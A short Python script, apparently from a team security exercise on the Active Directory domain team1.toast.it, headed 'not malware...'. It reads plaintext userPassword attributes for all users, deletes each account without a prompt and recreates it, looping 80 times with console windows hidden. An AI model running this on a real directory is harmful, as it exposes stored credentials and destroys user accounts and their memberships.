#fixes old passwords in ad to use the new password standard
#  not malware...
import subprocess
import time

def get_oldpasses():
	pairs=[]
	try:
		cmd='dsquery * CN=Users,DC=team1,DC=toast,DC=it -limit 0 -filter userPassword=* -attr cn userPassword'
		si=subprocess.STARTUPINFO()
		si.dwFlags|=subprocess.STARTF_USESHOWWINDOW
		proc=subprocess.Popen(cmd.split(),stdout=subprocess.PIPE,startupinfo=si)
		out=proc.communicate()[0]
		lines=out.split('\r\n')
		skipped_first=False
		for line in lines:
			if not skipped_first:
				skipped_first=True
				continue
			try:
				line=line.strip().split()
				if len(line)>0:
					user=line[0]
					password_dec=line[1:]
					password=''
					for ii in password_dec:
						password+=chr(int(ii,16))
					pairs.append((user,password))
			except:
				raise
	except:
		raise
	return pairs

def remove_user(user):
	try:
		cmd='dsrm CN='+user+',CN=Users,DC=team1,DC=toast,DC=it -noprompt'
		print(cmd)
		si=subprocess.STARTUPINFO()
		si.dwFlags|=subprocess.STARTF_USESHOWWINDOW
		proc=subprocess.Popen(cmd.split(),startupinfo=si,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
		out=proc.communicate()[1].strip()
		if len(out)>0:
			print(out)
	except:
		pass

def new_user(user,password):
	try:
		cmd='dsadd user CN='+user+',CN=Users,DC=team1,DC=toast,DC=it -samid '+user+' -pwd '+password
		print(cmd)
		si=subprocess.STARTUPINFO()
		si.dwFlags|=subprocess.STARTF_USESHOWWINDOW
		proc=subprocess.Popen(cmd.split(),startupinfo=si,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
		out=proc.communicate()[1].strip()
		if len(out)>0:
			print(out)
	except:
		raise


if __name__=='__main__':
	for jj in range(0,80):
		for ii in get_oldpasses():
			remove_user(ii[0])
			new_user(ii[0],ii[1])
		time.sleep(1)